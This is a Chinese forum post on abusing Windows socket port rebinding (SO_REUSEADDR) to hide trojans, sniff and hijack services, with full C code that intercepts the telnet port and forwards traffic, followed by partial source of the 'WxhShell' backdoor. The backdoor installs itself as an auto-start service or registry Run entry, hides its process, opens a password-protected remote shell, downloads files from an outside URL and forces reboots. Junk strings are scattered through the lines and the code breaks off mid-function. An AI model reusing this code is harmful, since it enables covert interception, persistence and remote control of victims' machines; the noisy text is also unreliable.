社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15104阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,&LGAa  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c JOT{  
<"Yx}5n.  
  saddr.sin_family = AF_INET; Q\ pI\]p:  
Z$y~:bz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tY- `$U@  
aucG|}B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); % U|4%P  
>JHQA1mX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )\+1*R|H}  
"H|hN  
  这意味着什么?意味着可以进行如下的攻击: ;:aCZ8e  
Su]p6B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j4+kL4M@H  
xeW}`i5_w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) evlz R/  
f,VJfY?#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c^7QiTt_  
z4rg.ai  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <|;)iT1VeT  
pwmH(94$0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F/:Jp3@  
i\C~]K~O!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =2/[n8pSsM  
Y))x'<T'Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?@H/;hB[|  
-J^t#R^$`  
  #include (3N;-   
  #include lr9s`>9  
  #include >#|%y>g .o  
  #include    z K6'wL!!I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }TG=ZVi  
  int main() =j~Xrytn  
  { sEx`9_oZ  
  WORD wVersionRequested; <nJ8%aY,  
  DWORD ret; wY*tq{7  
  WSADATA wsaData; aK]H(F2#  
  BOOL val; "p"~fN /I9  
  SOCKADDR_IN saddr; `|e3OCU  
  SOCKADDR_IN scaddr; u .,l_D_  
  int err; @(any ^QJ  
  SOCKET s; }5=tUfh)]'  
  SOCKET sc; ?y2v?h"  
  int caddsize; 1{?5/F \ +  
  HANDLE mt; +J7xAyv_Oz  
  DWORD tid;   ,2]a<0m  
  wVersionRequested = MAKEWORD( 2, 2 ); Qn`Fq,uvL  
  err = WSAStartup( wVersionRequested, &wsaData ); v|wO qS  
  if ( err != 0 ) { }\]J?I+A  
  printf("error!WSAStartup failed!\n"); F~x>\?iN  
  return -1; c3C<P  
  } MXrh[QCU)  
  saddr.sin_family = AF_INET; 7 |Q;E|=-Y  
   LIfYpn6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R_B`dP<"~Y  
8}{W.np_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l g*eSx>M  
  saddr.sin_port = htons(23); !c;BOCqa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M1J77LfS8  
  { |`Iispn  
  printf("error!socket failed!\n"); .y>G/8_i  
  return -1; o$k9$H>Na  
  } _qsg2e}n  
  val = TRUE; ':DLv{R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %)sG 34  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O^sOv!!RH/  
  { xMHu:,ND  
  printf("error!setsockopt failed!\n"); |6!L\/}M%  
  return -1; tVhf1TH#  
  } $kd9^lj#[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q3 yW#eD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #L 9F\ <K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ev9ltl{  
@<C<rB8R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p #Y2v  
  { abkt&981K+  
  ret=GetLastError(); }S6"$R  
  printf("error!bind failed!\n"); &z?:s  
  return -1;  _!E)a  
  } /Bp5^(s  
  listen(s,2); Og<nnq  
  while(1) A_2oQ*  
  { L<Q>:U.@\  
  caddsize = sizeof(scaddr); ><H*T{ Pg  
  //接受连接请求 UflS`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .?)gn]#  
  if(sc!=INVALID_SOCKET) Wph@LRB]  
  { mH /9J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z&Xp9"j,@;  
  if(mt==NULL) WFG`-8_e[I  
  { h+j{;evN  
  printf("Thread Creat Failed!\n"); G!.%Qqs  
  break; UHFI4{Wz  
  }  r0,XR  
  } i2X%xYv ^  
  CloseHandle(mt); BTDUT%Yfg  
  } sU0W)c;  
  closesocket(s); V~fPp"F  
  WSACleanup(); l9#@4Os  
  return 0; 4N8(WI"4S  
  }   N'~l,{  
  DWORD WINAPI ClientThread(LPVOID lpParam) E@_]L<Z  
  { `]j:''K  
  SOCKET ss = (SOCKET)lpParam; bz|-x"qk  
  SOCKET sc; dT'd C  
  unsigned char buf[4096]; +\U#:gmw  
  SOCKADDR_IN saddr; Z!2%{HQ=q  
  long num; H& !?c5  
  DWORD val; 0{qe1pb w  
  DWORD ret; ZiaHLpk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m*~Iu<5L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &%r<_1  
  saddr.sin_family = AF_INET; ]? % *3I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f7?IXDQ>!  
  saddr.sin_port = htons(23); >8.o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _:~I(c6   
  { >o )v  
  printf("error!socket failed!\n"); E~`l/ W  
  return -1; ,dXJCX8so  
  } {P'^X+B0*  
  val = 100; )<[)7`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [^0 S#,L  
  { pYz\GSd  
  ret = GetLastError(); T_Cj=>L  
  return -1; +{L=cWA"  
  } SSysOeD+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U o[\1)  
  { 'w?}~D.y  
  ret = GetLastError(); `&URd&ouJD  
  return -1; uUJH^pW  
  } uYCWsw/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x&*2R#Ai  
  { og`K! d~  
  printf("error!socket connect failed!\n"); hj,yl&  
  closesocket(sc); %gEgp Jd  
  closesocket(ss); ";;Nc>-Y  
  return -1; Wgb L9'}B  
  } @G^m+-  
  while(1) Hv-f :P O  
  { GD0Q`gWNe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OE=.@Ry"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hw2Sb,bY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T!N v  
  num = recv(ss,buf,4096,0); jJyS^*.X  
  if(num>0) w@x||K=Z  
  send(sc,buf,num,0); v,d'SR.  
  else if(num==0) /wU4^8Hz  
  break; :: s k)  
  num = recv(sc,buf,4096,0); 0SV4p.  
  if(num>0) "Pa  y2  
  send(ss,buf,num,0); 7mA:~-.u  
  else if(num==0) r<5i  
  break; Y|cj&<o  
  } Mb=j'H<N@  
  closesocket(ss); 47!k!cHa  
  closesocket(sc); uU/'oZ?  
  return 0 ; Ogu";p(  
  } %r]V:d+  
W~j>&PK,?  
pvhN.z  
========================================================== 2?@Ozr2Uh  
Xx1eSX  
下边附上一个代码,,WXhSHELL _K3;$2d|R  
GTke<R  
========================================================== ou=33}uO  
5Kl;(0B9  
#include "stdafx.h" sB wzb  
i-,_:z=J  
#include <stdio.h> yb) a  
#include <string.h> [r^WS;9n  
#include <windows.h> ]JH Int  
#include <winsock2.h> Ie(M9QMp  
#include <winsvc.h> cC]lO  
#include <urlmon.h> Q!{,^Qb  
eFC~&L;  
#pragma comment (lib, "Ws2_32.lib") a+<{!+3v  
#pragma comment (lib, "urlmon.lib") sp6A* mwl  
Qv]>L4PO  
#define MAX_USER   100 // 最大客户端连接数 _2X6c,  
#define BUF_SOCK   200 // sock buffer *_@$ "9  
#define KEY_BUFF   255 // 输入 buffer X3m)  
M\9+?  
#define REBOOT     0   // 重启 '?1g_C QsS  
#define SHUTDOWN   1   // 关机 $0*D7P^8  
<Aqo[']  
#define DEF_PORT   5000 // 监听端口 4 {+47=n  
x:+]^?}r  
#define REG_LEN     16   // 注册表键长度 a xz-H`oq4  
#define SVC_LEN     80   // NT服务名长度 BG/RNem  
6iS7Hao"  
// 从dll定义API HL%|DCo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,L\>mGw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bhk@0\a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <OTx79m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O? 0`QMY  
S]?I7_  
// wxhshell配置信息 gwDVWhq  
struct WSCFG { m8Rt>DY  
  int ws_port;         // 监听端口 $Y[C A.F  
  char ws_passstr[REG_LEN]; // 口令 eC`G0.op  
  int ws_autoins;       // 安装标记, 1=yes 0=no )i<Qg.@MX  
  char ws_regname[REG_LEN]; // 注册表键名 >[S\NAE>  
  char ws_svcname[REG_LEN]; // 服务名 A8 !&Y;d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oB+Ek~{z]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9JJk\,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \: R Akf<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^*b11 /7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0~BZh%s< (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A().1h1_k  
BK1I_/_!  
}; oj[<{/,C9  
f1|&umJ$  
// default Wxhshell configuration =g$%jM>35  
struct WSCFG wscfg={DEF_PORT, C?g<P0h  
    "xuhuanlingzhe", -nY_.fp>  
    1, EZ[e  a<  
    "Wxhshell", 8aTo TA7JA  
    "Wxhshell", \f'=  
            "WxhShell Service", ijmGk:L(  
    "Wrsky Windows CmdShell Service", C0W-}H  
    "Please Input Your Password: ", \hP.Q;"MtO  
  1, ,zh_-2^X  
  "http://www.wrsky.com/wxhshell.exe", hbm #H7Y  
  "Wxhshell.exe" d(C5i8d  
    }; (};/,t1#$  
R]0tG   
// 消息定义模块 (3&P8ZGNR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x5b .^75p$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; jrmr`l=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n&8SB'-r  
char *msg_ws_ext="\n\rExit."; !:a^f2^=  
char *msg_ws_end="\n\rQuit."; W!JEl|]  
char *msg_ws_boot="\n\rReboot..."; ~YXkAS:  
char *msg_ws_poff="\n\rShutdown..."; 9>= S@hVMd  
char *msg_ws_down="\n\rSave to "; bT`et*]  
0qL.Rnt  
char *msg_ws_err="\n\rErr!"; 36}&{A  
char *msg_ws_ok="\n\rOK!"; V0xO:7G^  
,,;vG6^a  
char ExeFile[MAX_PATH];  NG?g(  
int nUser = 0; t(UdV  
HANDLE handles[MAX_USER]; d'[q2y?6N  
int OsIsNt; z\>ZgRi~n  
o@ @|4 F  
SERVICE_STATUS       serviceStatus; ^M+aQg%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0P;\ :-&p  
)B"E+Q'h{7  
// 函数声明 Tj6kCB  
int Install(void); p5J!j I=  
int Uninstall(void); h]&o)%{4  
int DownloadFile(char *sURL, SOCKET wsh); _7 ^:1i~:.  
int Boot(int flag); y<PQ$D)  
void HideProc(void); ~-'-<-  
int GetOsVer(void); gSkY c{b  
int Wxhshell(SOCKET wsl); 5 Q,j+  
void TalkWithClient(void *cs); 9>;CvR  
int CmdShell(SOCKET sock); }j{Z &(K  
int StartFromService(void); "p[3^<~uQ  
int StartWxhshell(LPSTR lpCmdLine); oiQ:&$y  
'q l<R0g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XW:%YTv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XoGOY|2`6  
= VMELk!z  
// 数据结构和表定义 zN/nKj: Q  
SERVICE_TABLE_ENTRY DispatchTable[] = B^/(wHBp  
{ b1yS1i D  
{wscfg.ws_svcname, NTServiceMain}, bd[iD?epD]  
{NULL, NULL} x[mh^V5ld  
}; [Xww`OUsh  
3e1%G#fu  
// 自我安装 PoD/i@  
int Install(void) &;U F,  
{ p,14'HS%@  
  char svExeFile[MAX_PATH]; f{h2>nEj \  
  HKEY key; v.c.5@%%o  
  strcpy(svExeFile,ExeFile); 6E9o*YSk  
a0 's6C  
// 如果是win9x系统,修改注册表设为自启动 5m\)82s  
if(!OsIsNt) { 5>h/LE]"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "8E=*2fcw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I>lblI$7  
  RegCloseKey(key); 37 *2/N2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X39%O'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S 9;FD3  
  RegCloseKey(key); Bnw^W _  
  return 0; =KHX_ib  
    } 2\CZ"a#[  
  } ]PB95%  
} S$/SFB$)~W  
else { 60l!3o"p!  
{dlG3P='`f  
// 如果是NT以上系统,安装为系统服务 q><wzCnRu~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;A0ZcgF  
if (schSCManager!=0) (O/W`qo  
{ oSl}A,aQ(  
  SC_HANDLE schService = CreateService G`f|#-}  
  ( cbW=kQc_  
  schSCManager, !ZY1AhGZ  
  wscfg.ws_svcname, @]L$eOV_  
  wscfg.ws_svcdisp, S";}gw?r6  
  SERVICE_ALL_ACCESS, Eo@rrM:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Dy2O*`  
  SERVICE_AUTO_START, o1H6E1$=  
  SERVICE_ERROR_NORMAL, B/B`=%~5_^  
  svExeFile, &_' evZ8  
  NULL, V!s#xXD}  
  NULL, fC/P W`4Ae  
  NULL, F(w<YU %6  
  NULL, %&eBkN!T  
  NULL +NoVe#  
  ); Rp>%umDyL  
  if (schService!=0) j{@li1W@  
  { $|VdGRZ1  
  CloseServiceHandle(schService); qR kPl!5  
  CloseServiceHandle(schSCManager); xu >grj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8v6AfTo%  
  strcat(svExeFile,wscfg.ws_svcname); pv^:G;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q1!+wC   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L;=LAQ6[  
  RegCloseKey(key); 4^!%>V"d/  
  return 0; L }R-|  
    } 10tTV3`IM  
  } DHuUEv<  
  CloseServiceHandle(schSCManager); h]}DMVV]  
} dwb^z+   
} ()Q q7/  
M$} AJS%8  
return 1;  3bHB$n  
} (W#^-*$R  
%0vWyU:K9  
// 自我卸载 ~SI G0U8  
int Uninstall(void) i0~Af`v  
{ $p*.[)  
  HKEY key; gCbS$Pw  
sIRfC< /P  
if(!OsIsNt) { f67t.6Vw2+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Su<>UsdUC  
  RegDeleteValue(key,wscfg.ws_regname); VdGpreRPC  
  RegCloseKey(key); 8&CQx*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xEufbFAN?  
  RegDeleteValue(key,wscfg.ws_regname); b`;Cm)@X!)  
  RegCloseKey(key); HTSk40V  
  return 0; m@YK8 c#$  
  } .&n! 4F'  
} hJ75(I *j  
} kpMo7n  
else { #!P>." .  
v=DC3oh-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u R]8ZT")  
if (schSCManager!=0) P!lfk:M^;  
{ T>, [V:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |{MXDx  
  if (schService!=0) V/RV,K1/  
  { ^JGwCHeb|H  
  if(DeleteService(schService)!=0) { PoLk{{l3  
  CloseServiceHandle(schService); wGWv<<Qw"  
  CloseServiceHandle(schSCManager); |3>%(4 OS  
  return 0; rx@2Dmt6  
  } {9{PU&?(  
  CloseServiceHandle(schService); ei~f1$zc#h  
  } BW ux!  
  CloseServiceHandle(schSCManager); BCX2C  
} Nnfq!%   
} N(P2Lo{JF  
[MF&x9Ss?%  
return 1; >[Tt'.S!?  
} RL*b4 7,  
wM}AWmH  
// 从指定url下载文件 Kd*=-  
int DownloadFile(char *sURL, SOCKET wsh) lBudC  
{ z6|kEc"{  
  HRESULT hr; z&\N^tBv  
char seps[]= "/"; Y/ %XkDC~  
char *token; TY?O$d2b3  
char *file; szD9z{9"y  
char myURL[MAX_PATH]; Az/B/BLB  
char myFILE[MAX_PATH]; g*!1S  
xl9S=^`=  
strcpy(myURL,sURL); tjQ6[`  
  token=strtok(myURL,seps); dV /Es  
  while(token!=NULL) .UvDew/Y  
  { >u]9(o7I  
    file=token; ((M>To_l  
  token=strtok(NULL,seps); fh` }~ aQ  
  } z G`|)  
h)s&Nqg1B  
GetCurrentDirectory(MAX_PATH,myFILE); w%(D4ldp   
strcat(myFILE, "\\"); k7]4TIUD*  
strcat(myFILE, file); <@c@`K  
  send(wsh,myFILE,strlen(myFILE),0); g!Ui|]BI9  
send(wsh,"...",3,0); # hw;aQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (Dn1Eov  
  if(hr==S_OK) h<qi[d4X  
return 0;   `#l1  
else YD0j&@.  
return 1; OyG2Ks"H  
yh'*eli  
} -J0I2D  
ux)Wh.5  
// 系统电源模块 OHv9|&Tpl  
int Boot(int flag) V6B[eV$D  
{ 40[@d  
  HANDLE hToken; 0a1Mu>P,  
  TOKEN_PRIVILEGES tkp; 0v``4z2Z  
fS p  
  if(OsIsNt) { 2>f3n W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W*/2x8$d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gLlA'`!  
    tkp.PrivilegeCount = 1; n6 wx/:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y( UWh4?t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -h=wLYl@0i  
if(flag==REBOOT) { '@5 x=>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7^1K4%IPl  
  return 0; [}4\CWM  
} zoBp02j  
else { ]hRs -x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R _2#7Xs  
  return 0; 4L r,}t A  
} M XuHA?  
  } .=) *Qx+  
  else { ONUa7  
if(flag==REBOOT) { j"+6aD/lv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :*-O;Yw?S@  
  return 0; D;OPsNQ  
} {mLv?"M]  
else { .(s@{=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i_nUyH%b  
  return 0; `%~f5<  
} dP"cm0  
} mq4VwT  
h7S; 4]  
return 1; W #kLM\2L  
} 8E>2 6@.  
!/1 ~  
// win9x进程隐藏模块 s"~,Zzy@j  
void HideProc(void) 4C3i  
{ u,~+ho@  
q?8#D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [q^pMH#U"  
  if ( hKernel != NULL ) !e~d,NIy  
  { aHPx'R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y5*A,piq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $4kbOqn4  
    FreeLibrary(hKernel); ^P`I"T d  
  } !:~C/B{  
QaXdO=3  
return; [=:4^S|M  
} N9vNSmm  
COd~H  
// 获取操作系统版本 -L2?Tap  
int GetOsVer(void) U^-RyE!}  
{ r l;Y7l  
  OSVERSIONINFO winfo; COD^osM@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2\gbciJ[{(  
  GetVersionEx(&winfo); (~(FQ:L %U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) swMR+F#u*  
  return 1; a;(,$q3M  
  else ^}kYJvqA  
  return 0; -:wV3D  
} Vkqfs4t  
X.rbJyKe  
// 客户端句柄模块 z; >O5a>z  
int Wxhshell(SOCKET wsl) xX~m Fz0C  
{ 5oOs.(m|*C  
  SOCKET wsh; tq*{Hil>P`  
  struct sockaddr_in client; ;cb='s  
  DWORD myID; [?da BXS  
:ra[e(l9  
  while(nUser<MAX_USER) `g{eWY1l  
{ [Uj,, y.wB  
  int nSize=sizeof(client); :4pO/I ~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <4^y7]] F  
  if(wsh==INVALID_SOCKET) return 1; u%Z4 8wr  
aZmbt,.V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {q&A/  
if(handles[nUser]==0) p4K 8L'nZ  
  closesocket(wsh); @s\}ER3  
else =4Jg6JKYg  
  nUser++; 2O2d*Ld>  
  } (unJwh{7Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YLV$#a3  
D~TK'&  
  return 0; ON"V`_dq+M  
} NNRKYdp,  
6X$\:>  
// 关闭 socket XLm@, A[  
void CloseIt(SOCKET wsh) " j:15m5  
{ _$v$v$74^  
closesocket(wsh); ^AO2%09.S  
nUser--; DyQvk  
ExitThread(0); 1z3I^gI*i  
} l_(4CimOZ  
|D8c=c%  
// 客户端请求句柄 g$8a B{)  
void TalkWithClient(void *cs) 8)J,jh9q  
{ "||G`%aO+t  
pf0uwXo  
  SOCKET wsh=(SOCKET)cs; X<H+Z2d  
  char pwd[SVC_LEN]; ~>}7+p ?;  
  char cmd[KEY_BUFF]; Ll^9,G"Tt  
char chr[1]; <a2Kc '  
int i,j; PU\@^)$  
Ki3 wqY  
  while (nUser < MAX_USER) { 92*Y( >  
<%oT}K\;  
if(wscfg.ws_passstr) { TJs@V>,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ";59,\6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u?8e>a  
  //ZeroMemory(pwd,KEY_BUFF); puGy`9eKv1  
      i=0; G""=`@  
  while(i<SVC_LEN) { iEMIzaR  
'RCX6TKBnR  
  // 设置超时 3[To"You  
  fd_set FdRead; KYFkO~N  
  struct timeval TimeOut; zrur-i$N+  
  FD_ZERO(&FdRead); n\YWWW[wf  
  FD_SET(wsh,&FdRead); ;] #Q!  
  TimeOut.tv_sec=8; N37#V s  
  TimeOut.tv_usec=0; ~|e H8@o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7JP.c@s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Zg!E}B:z  
55`cNZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }@g#S@o  
  pwd=chr[0]; .PJ_1  
  if(chr[0]==0xd || chr[0]==0xa) { ':,p6  
  pwd=0; , p r ",=  
  break; U,$^| Iz  
  } $h'>Zvf  
  i++; GoKMi[b  
    } ?s: 2~Qlu  
|7G=f9V  
  // 如果是非法用户,关闭 socket NSAp.m   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =[^_x+x hE  
} F}#=qBa[  
t`A5wqm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qd?k#Gw&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %5 ?0+~  
h&?tF~h  
while(1) { SyR[G*djl  
$RV'DQO  
  ZeroMemory(cmd,KEY_BUFF); -ID!kZx  
n15lX,FI  
      // 自动支持客户端 telnet标准   C`C$i>X7^  
  j=0; ]i:O+t/U  
  while(j<KEY_BUFF) { C)Hb=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~r>N  
  cmd[j]=chr[0]; 1)=sbFtS  
  if(chr[0]==0xa || chr[0]==0xd) { orAEVEm  
  cmd[j]=0; )`]} D[j  
  break; NU|T`gP  
  } YQ<O .E  
  j++; ]]bL;vlw  
    } 'q=Ly?9  
q P>Gre  
  // 下载文件 GvT'v0&+  
  if(strstr(cmd,"http://")) { w.H\j9E l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gj Ue{cb5  
  if(DownloadFile(cmd,wsh)) $+a2CZs!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVbaxL!Q^  
  else X2p9KC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rgg3{bU/  
  } 'm+)n08[  
  else { q9c:,k  
b 7bbrR8  
    switch(cmd[0]) { N{6Lvq[8  
  Y>[u(q&09O  
  // 帮助 H?axlRmw3  
  case '?': { 4]]1J L(Ka  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DcQsdeuQ  
    break; O WVa&8O  
  } #x|h@(y|  
  // 安装 bI~(<-S~K  
  case 'i': { Y r^C+Oyg  
    if(Install()) NbnuQPb'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #~^Y2-C#  
    else I8 {2cM;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X6]eQ PN2  
    break; gyW##M@{  
    } CvtG  
  // 卸载 q@x{6zj  
  case 'r': { -?WhJ.U  
    if(Uninstall()) /Hl]$sJY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9L'R;H?L  
    else Y8 a![  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =<,AzuV  
    break; k;pTOj  
    } 0UvN ws  
  // 显示 wxhshell 所在路径 bqAv)2  
  case 'p': { $=GZ"%ED  
    char svExeFile[MAX_PATH]; #:?vpV#i  
    strcpy(svExeFile,"\n\r"); :kDHwYv$  
      strcat(svExeFile,ExeFile); jz2W/EE`w  
        send(wsh,svExeFile,strlen(svExeFile),0); QNH5Cq;Y  
    break; tA2I_W Cl  
    } -\!"Kz/  
  // 重启 N8| ;X  
  case 'b': { V{[vIt*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  w|>O!]K]  
    if(Boot(REBOOT)) &dkjT8L$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:i``gFj  
    else { @^$Xy<x  
